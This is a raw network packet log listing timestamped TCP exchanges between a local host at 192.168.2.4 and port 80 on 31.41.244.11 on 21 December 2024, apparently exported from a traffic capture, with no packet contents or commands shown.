                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.469458103 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.469528913 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.469574928 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.470408916 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.470455885 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.470541954 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.470586061 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.471637964 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.471684933 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.471781969 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.471826077 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.472605944 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.472661972 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.472738981 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.472784042 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.473756075 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.473803997 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.473849058 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.473892927 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.474858999 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.474905014 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.474978924 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.475020885 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.475938082 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.475986958 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.476030111 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.476073027 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.477062941 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.477109909 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.477210045 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.477252960 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.478147984 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.478190899 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.478252888 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.478297949 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.479294062 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.479346991 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.479461908 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.479507923 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.480416059 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.480464935 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.480556965 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.480606079 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.481513023 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.481563091 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.481606960 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.481652975 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.482636929 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.482692957 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.482713938 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.482757092 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.483762026 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.483807087 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.483899117 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.483943939 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.484822989 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.484869003 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.484957933 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.485003948 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.485909939 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.485955954 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.486046076 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.486089945 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.487044096 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.487092018 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.487195015 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.487238884 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.488156080 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.488204002 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.488274097 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.488322020 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.489305973 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.489352942 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.489389896 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.489434004 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.490489006 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.490537882 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.490607977 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.490652084 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.491445065 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.491491079 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.491533995 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.491579056 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.492558002 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.492605925 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.492702961 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.492748976 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.493733883 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.493777990 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.493946075 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.493990898 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.494924068 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.494972944 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.495018005 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.495063066 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.495913029 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.495958090 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.495995045 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.496045113 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.497047901 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.497092009 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.497181892 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.497226000 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.498123884 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.498167992 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.498301029 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.498343945 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.499361038 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.499418974 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.499633074 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.499679089 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.500356913 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.500401974 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.500488997 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.500530958 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.501439095 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.501485109 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.501589060 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.501630068 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.502540112 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.502588987 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.502713919 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.502763033 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.503673077 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.503727913 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.503850937 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.503895998 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.504828930 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.504873991 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.504920006 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.504964113 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.505860090 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.505902052 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.505975962 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.506021976 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.506944895 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.506993055 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.507124901 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.507168055 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.508069038 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.508115053 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.508152008 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.508194923 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.509186029 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.509229898 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.509298086 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.509342909 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.510360003 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.510411024 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.510453939 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.510497093 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.511629105 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.511673927 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.511835098 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.511882067 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.512480974 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.512526035 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.512587070 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.512629986 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.513675928 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.513724089 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.513803959 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.513845921 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.514739037 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.514785051 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.514817953 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.514861107 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.515853882 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.515898943 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.515943050 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.515985966 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.516920090 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.516977072 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.517011881 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.517056942 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.518030882 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.518078089 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.518102884 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.518145084 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.519110918 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.519155979 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.519198895 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.519242048 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.520342112 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.520390034 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.520474911 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.520519972 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.521400928 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.521444082 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.521541119 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.521585941 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.522432089 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.522478104 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.522552013 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.522603035 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.657860994 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.657886982 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.658056974 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.658226013 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.658245087 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.658277988 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.658308029 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.659337044 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.659383059 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.659404993 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.659445047 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.660362005 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.660408020 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.660420895 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.660461903 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.661489964 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.661530972 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.661617994 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.661660910 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.662539959 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.662584066 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.662640095 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.662681103 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.663707972 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.663753033 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.663759947 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.663799047 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.664751053 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.664793968 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.664840937 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.664885044 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.665894032 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.665941954 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.666019917 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.666062117 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.667017937 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.667064905 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.667103052 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.667143106 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.668056965 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.668102026 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.668148994 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.668194056 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.669217110 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.669260025 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.669302940 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.669347048 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.670258999 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.670301914 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.670361042 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.670404911 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.671391964 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.671432972 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.671479940 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.671523094 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.672461033 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.672503948 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.672569990 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.672612906 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.673594952 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.673669100 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.673710108 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.673752069 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.674702883 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.674748898 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.674803972 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.674849033 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.675826073 CET804976031.41.244.11192.168.2.4
